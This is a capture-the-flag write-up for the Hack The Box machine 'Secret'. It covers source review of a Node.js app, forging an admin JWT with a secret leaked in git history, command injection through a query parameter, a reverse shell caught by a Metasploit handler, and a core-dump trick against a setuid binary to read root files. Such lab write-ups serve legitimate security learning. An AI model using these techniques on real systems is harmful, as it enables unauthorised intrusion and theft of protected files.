Search

Pentesting Guide and Notes

Certification Reviews

Writeups

Secret Writeup (Using Snyk !)

Secret Writeup (Using Snyk !)

User Flag

Lets first download the website’s source code with the Dowload source code button on the home page of the website.

In routes/private.js, we get the admin username :

router.get('/priv', verifytoken, (req, res) => {
	// res.send(req.user)

	const userinfo = { name: req.user }

	const name = userinfo.name.name;

	if (name == 'theadmin'){
		res.json({
			creds:{
				role:"admin",
		   		username:"theadmin",
		   		desc : "welcome back admin,"
			}
		})
	}
routes/private.js

Further in the same file, we have what looks like a RCE :

router.get('/logs', verifytoken, (req, res) => {
	const file = req.query.file;
	const userinfo = { name: req.user }
	const name = userinfo.name.name;

	if (name == 'theadmin'){
		const getLogs = `git log --oneline ${file}`;
		exec(getLogs, (err , output) =>{
			if(err){
				res.status(500).send(err);
				return
			}
			res.json(output);
		})
	}
routes/private.js

By changing the value of the file argument, we might be able to execute code on the server. To use this feature, we need to get admin access.

In the routes/auth.js file, we see how the JWT is made :

// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
routes/auth.js

Finally, in the .env file, we see the value of the DB_CONNECT and the TOKEN_SECRET environment variables.

Since this is a code review box, I thought it would be the perfect occasion to test something that I wanted to test for a while now : Snyk Code.

Snyk Code is a code review tool that automatically analyzes your source code and finds vulnerabilities (also it’s free 😉).

Snyk Code output

While, in the context of HTB, Snyk didn’t find any new information that would help us to get the user flag (I believe the RCE is the only useful thing here), in the context of a pentest, this information would’ve saved me a lot of time. Particularly with the lower hanging fruits like XSS that can sometimes take a lot of precious time to test. Next time I have a whitebox pentest, I’ll definitely use Snyk.

With that said, I find odd that the RCE vulnerability is only classified as High and not as Critical, but, of course, Snyk can’t understand the context of the application (attack complexity, privilege required, etc.).

With that done, time to find a way to get admin access. I started by trying to create a user with

Register request

I then logged in using

Login request

Which returned

Login answer

After receiving the newly generated JWT, I verified it (using cyberchef) to see if the secret used really was “secret”, and it wasn’t.

I then tried to brute force it (using jwt-secret) but couldn’t get any result.

┌─[✗]─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
└──╼ $jwt-secret --file /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidXNlcm5hbWUiLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.w3dpvzlGWwDtFD-AJSJMsUKUFzQMwx3O5FsEIek8Oc4


    no secret found
JWT secret brute force

After those 2 failed attempts, I decided to take a look at the .git history to see if the secret had leaked in the commits.

Git history

And it looks like the devs did leak some info in a commit. Let’s take a look at it.

TOKEN_SECRET leaked in the git history

Let’s verify (using cyberchef) if it is indeed the secret used to sign the JWTs.

And it is !

We can now craft a new JWT with the username set as theadmin to access the admin features.

Using cyberchef, we can generate a new JWT and access the /api/priv page.

Request using the crafted JWT
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 76
ETag: W/"4c-bXqVw5XMe5cDkw3W1LdgPWPYQt0"
Date: Wed, 29 Dec 2021 14:10:15 GMT
Connection: close

{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
Answer to the crafted JWT

Finally, let’s exploit the RCE that we spotted earlier.

Using id, we can see who runs the webserver.

RCE by adding && [command] to the file argument
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
Answer to the id command

A lot of reverse shells I tried didn’t work, but when I tried with a python one it did. It looked like the user couldn’t execute certain commands...

Sending a python reverse shell

With metasploit’s /exploit/multi/handler, I was able to catch a reverse shell.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.161:4444 
[*] Command shell session 1 opened (10.10.14.161:4444 -> 10.129.167.28:39610) at 2021-12-29 10:42:42 -0500


Shell Banner:
$
-----
          

$
Metasploit catches the reverse shell back

Root Flag

The privesc part was hard to find (at least for me). But, after running linpeas for the fifth time, something finally caught my attention :

Program in /opt that we can run as root

The setuid permission means we can run whatever this is as root. Let’s take a closer look at this.

dasith@secret:/opt$ ll
total 56
drwxr-xr-x  2 root root  4096 Oct  7 10:06 ./
drwxr-xr-x 20 root root  4096 Oct  7 15:01 ../
-rw-r--r--  1 root root  3736 Oct  7 10:01 code.c
-rw-r--r--  1 root root 16384 Oct  7 10:01 .code.c.swp
-rwsr-xr-x  1 root root 17824 Oct  7 10:03 count*
-rw-r--r--  1 root root  4622 Oct  7 10:04 valgrind.log
/opt directory

After looking at the source code and executing the program, it looks like it opens a file and counts the number of characters in it.

I then looked at the valgrind man page, because I wasn’t familiar with this program, and it looks like some sort of debugger for executables. Maybe we can use it to access what the count program loads in memory when it reads a file. That way, we might be able to read some files like /root/.ssh/id_rsa or simply /root/root.txt.

dasith@secret:/opt$ valgrind ./count
==125171== 
==125171== Warning: Can't execute setuid/setgid/setcap executable: ./count
==125171== Possible workaround: remove --trace-children=yes, if in effect
==125171== 
valgrind: ./count: Permission denied
dasith@secret:/opt$
Attempting to debug the count program using valgrind

It looks like valgrind can’t debug executables with setuid.

After looking around the internet for an answer, I stumbled upon this stackoverflow post that basically described how hard it is to get valgrind to run a setuid executable. After a lot of tries, it really looked like valgrind just would not run our program. Time to try something else.

I decided to take a look at the content of the /opt/valgrind.log.

/opt/valgrind.log

It looks like valgrind is already running every time we execute the count program !(?)

Now we need to find a way to dump it’s memory.

After reading the code in /opt/count.c, I noticed this.

The program has core dump generation enabled

After looking at the prctl man page, it looks like this feature dumps the program’s memory.

PR_SET_DUMPABLE (since Linux 2.3.20) Set the state of the "dumpable" attribute, which determines whether core dumps are produced for the calling process upon delivery of a signal whose default behavior is to produce a core dump. In kernels up to and including 2.6.12, arg2 must be either 0 (SUID_DUMP_DISABLE, process is not dumpable) or 1 (SUID_DUMP_USER, process is dumpable).

Now we might be onto something. We just need to trigger this dump, probably when the program asks if we want to save the result, while it still has the file in memory.

After a small bit of research, I found that core dumps are generated when a program crashes.

Core dumps are triggered by the kernel in response to program crashes

I then started a second terminal to kill the process and hopefully trigger a core dump.

dasith@secret:/opt$ ./count     
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]:
Terminal 1 : Running the program
dasith@secret:/opt$ ./count     
./count
Enter source file/directory name: /root/root.txt
/root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: Segmentation fault (core dumped)
dasith@secret:/opt$
Terminal 1 : The process has been killed, hopefully triggering a core dump
dasith@secret:/opt$ ps -A

[...]

	1396 ?        00:00:00 python3
  1397 pts/1    00:00:00 sh
  1398 pts/1    00:00:00 bash
  1407 pts/0    00:00:00 count
  1409 ?        00:00:00 kworker/u2:0-events_power_efficient
  1411 pts/1    00:00:00 ps
Terminal 2 : Listing the running processes
dasith@secret:/opt$ kill -11 1407
Terminal 2 : Killing the process

Now, the core dump should be in /var/lib/systemd/coredump. Aaanndd it’s empty.

Luckily I found this stackoverflow post that says that sometimes, core dumps end up in /var/crash instead, and there was in fact a dump there !

dasith@secret:/var/crash$ ls
_opt_count.1000.crash
Content of the /var/crash directory

Finally, to read the .crash file, we can use apport-unpack.

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash ~/count

And using a skill that I developed after years of CTF

dasith@secret:~/count$ strings * | grep -E '[a-z0-9]{32}'
**********************